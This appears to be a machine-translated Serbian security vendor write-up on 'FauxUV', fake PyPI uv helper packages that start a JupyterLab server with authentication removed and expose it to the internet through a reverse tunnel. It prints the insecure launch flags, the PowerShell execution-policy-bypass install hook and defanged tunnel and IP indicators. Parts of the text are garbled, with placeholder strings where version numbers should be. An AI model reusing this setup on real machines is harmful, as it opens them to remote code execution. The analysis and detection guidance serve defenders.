FauxUV: Лажни PyPI uv пакети отварају Јупитер за веб

FauxUV: лажни PyPI UV помоћници који отварају неаутентификовани Jupyter сервер ка интернету

ТЛ; ДР

Кластер PyPI пакета позајмио је име uv, брзи, изузетно популарни менаџер пакета за Пајтон базиран на Русту, да се представљају као UV помоћници. Они готово да немају никакву стварну функционалност. Оно што уместо тога носе је Windows корисни терет који може да поднесе... JupyterLab сервер са искљученом аутентификацијом и, у каснијим верзијама, објављује га на јавном интернету путем обрнутог тунела.

То је цела прича у једној реченици: име поузданог алата као мамац, и JupyterLab као механизам за даљинско извршавање кода. Јупитер сервер покреће било који код који унесете у неebook ћелија; она покренута са празним токеном и повезана са сваким мрежним интерфејсом је отворени интерпретер који свако ко може да досегне порт може да покреће.

Пратимо кластер као Лажни УВДва испитана пакета су moon-uv (КСНУМКС – КСНУМКС) и my-magic-uv-helper (0.0.1), објављен од стране истог оператера и активан на PyPI у време анализе.

ЕкосистемПиПИ
Пакетиmoon-uv (КСНУМКС – КСНУМКС), my-magic-uv-helper (0.0.1)
Циљана на платформувиндовс
Основно понашањеНеаутентификовани JupyterLab сервер, објављен на интернету преко обрнутог тунела
Злоупотреба легитимних алатаUV, JupyterLab, cloudflared, Pingy

Мамац: име којем већ верујете

uv је један од најинсталиранијих Пајтон алата у последње две године, тако да је „помоћник за uv„је пакет који програмер инсталира без размишљања. FauxUV свој кредибилитет у потпуности заснива на том имену. Пакети обавијају прави uv инсталатер од Астрала — URL-ови у корисном пакету указују на праве, реномиране хостове — тако да брзи поглед не види ништа осим поузданих референци. Ниједан пакет заправо не додаје uv функционалност; име је цела маска.

JupyterLab као RCE мотор

Централни део корисног терета је покретач који покреће JupyterLab након што је свака заштитна ограда уклоњена:

jupyter server --with jupyterlab   --ip=0.0.0.0            # listen on every interface   --ServerApp.token=""    # no password, no token   --allow_origin='*'      # accept cross-origin connections   --disable_check_xsrf    # allow a remote browser/WebSocket to drive it

Свака заставица уклања заштиту, а испоручени скрипт их чак и анотира (на оригиналном кинеском): празан токен „искључује провере лозинки и токена — свако може да се повеже.“ ЈупитерЛаб је легитимно IDE за науку о подацима, али неebook Ћелија извршава произвољни код по дизајну. Конфигурисана на овај начин и повезана са 0.0.0.0, престаје да буде IDE и постаје неаутентификована удаљена љуска на хосту — није потребан прилагођени бинарни софтвер злонамерног софтвера, већ само мејнстрим алат усмерен у погрешном смеру.

Два помоћна дела чине то доступним и поновљивим:

  • Окидач за тиху инсталацију. Раније верзије покрећу PowerShell са -ЕкецутионПолици Бипасс право из сетуп.пи on пип инсталл, у позадини са потиснутим грешкама бод изгледа нормално. Касније верзије померају исти примитив у пип-ув алат командне линије — и потпуно уклоните аутоматско покретање приликом инсталације.
  • Јавни обрнути тунел. Сервер на 0.0.0.0 је и даље доступан само хостовима који могу да усмере везу до машине. Уграђени модул отвара [Pinggy](https://pinggy.io/) SSH обрнути тунел који прослеђује локални Jupyter порт на јавну адресу, уклањајући то ограничење. Испоручени скрипт такође носи — коментарисано — алтернативну путању користећи Cloudflare-ов цлоудфларед и а нетсх порт-прокси ка Линод ИП адреси, документујући исти циљ кроз различиту инфраструктуру.

Спојите: инсталирајте пакет и Windows хост на крају покреће JupyterLab без лозинке и објављује га на отвореном интернету.

Како је FauxUV еволуирао

Верзије FauxUV-а су се испоручивале у брзом зареду, а тачка окидача корисног терета се кретала преко њих — подсетник да једна означена верзија ретко говори целу причу о линији пакета.

Стаж верзије окидач Шта додаје
Инсталациона кука moon-uv КСНУМКС – КСНУМКС, my-magic-uv-helper 0.0.1 setup.py при инсталацији пип-а uv install + PATH префикс
CLI-извршавање moon-uv КСНУМКС-КСНУМКС pip-uv команда покретач JupyterLab-а без лозинке
Тунел moon-uv КСНУМКС-КСНУМКС pip-uv команда активни Пинги обрнути тунел

Приметно је да је аутоматско покретање током инсталације било удаљен у каснијим, способнијим верзијама — тако да се скенер активирао само током животног циклуса hooks би оценио новија издања као manje ризично, управо обрнуто.

Индикатори компромиса

Потврђено читањем изворног кода пакета; крајње тачке означене коментарисао су присутни у датотекама, али их анализирана верзија не извршава. Мрежни индикатори су деактивирани.

тип Индикатор
Инсталирај команду powershell -ExecutionPolicy Bypass преузимање оригиналног UV инсталера, током инсталације PIP-а
Заставице ЈупитерЛаб-а --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf
Обрнути тунел (активан) free[.]pinggy[.]io:443 прослеђивање локалног 127.0.0.1:8888
Домаћин тунела (коментарисано) cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718
ИП (коментарисано) 45[.]79[.]134[.]161 (Линоде) преко netsh port-proxy
Истрајност додаје се на почетак %USERPROFILE%\.local\bin до корисника PATH

Сигнали понашања на које вреди обратити пажњу, независно од ових тачних низова: а пип инсталл који се рађа powershell -Заобилажење политике извршавањабило који јупитер комбиновање лансирања токен = "" sa –ip=0.0.0.0; и одлазни SSH ка *.pinggy.io од програмера или CI машине.

Посматрано понашање и порекло

Два пакета деле аутора и метод: име поузданог алата, контролу само за Windows, извршавање у позадини са сузбијањем грешака и ослањање на реномиране алате тако да брзим прегледом виде само реномиране URL-ове. Извор садржи коментаре на кинеском језику који јасно описују заставице релевантне за безбедност; ми их извештавамо као видљиве изјаве у датотеци, а не као тврдњу о мотиву. allow_origin вредност и а colab.bat Име датотеке одражава неформалне токове рада „дели мој локални процес извршавања“ који циркулишу за Google Colab. Без обзира на порекло, упаковани резултат је исти.

Утицај и смернице за браниоце

Ко је изложен FauxUV-у. Windows програмери и CI покретачи који пип инсталл један од ових пакета. JupyterLab без лозинке на 0.0.0.0 је даљинско извршавање кода за свакога ко може да досегне порт; тунел уклања ограничење „ко може да досегне“. Сервер се покреће као корисник који инсталира, наслеђујући датотеке, токене и акредитиве за облак тог корисника.

Зашто је лако пропустити. Сваки мрежни низ указује на реномираног хоста — Astral, JupyterLab, цлоудфларед, Пинги, Колаб. Не постоји бинарни злонамерни софтвер за хеширање и нема замаскираних блобова за декодирање. Скенирање засновано на репутацији и потписима потцењује ово, због чега је питање понашања — Шта машина ради након инсталирања овог пакета — је онај који га хвата.

Упутство:

  • Третирајте било које време инсталације powershell -Заобилажење политике извршавања као сигнал за прекидање изградње, без обзира на URL адресу коју преузме.
  • Обавештење о јупитер покренуто са празним токеном и –ip=0.0.0.0; та комбинација никада не би требало да се појави на радној станици или тркачу.
  • Праћење одлазног SSH-а ка провајдерима тунела (*.pinggy.io, *.trycloudflare.com) из програмерског и CI окружења.
  • Инсталирати uv из [његовог званичног извора](https://docs.astral.sh/uv/) и будите скептични према „помоћним“ пакетима трећих страна који обавијају алатку чија је инсталација већ једноставна.
  • Закачите и поново прегледајте зависности при надоградњи — линија пакета може да развија нове могућности верзија за верзијом.
sca-tools-software-composition-analysis-tools
Приоритизујте, отклоните и обезбедите ризике везане за ваш софтвер
Набавите свој бесплатни налог.
Није потребна кредитна картица.

Обезбедите свој развој и испоруку софтвера

са Xygeni пакетом производа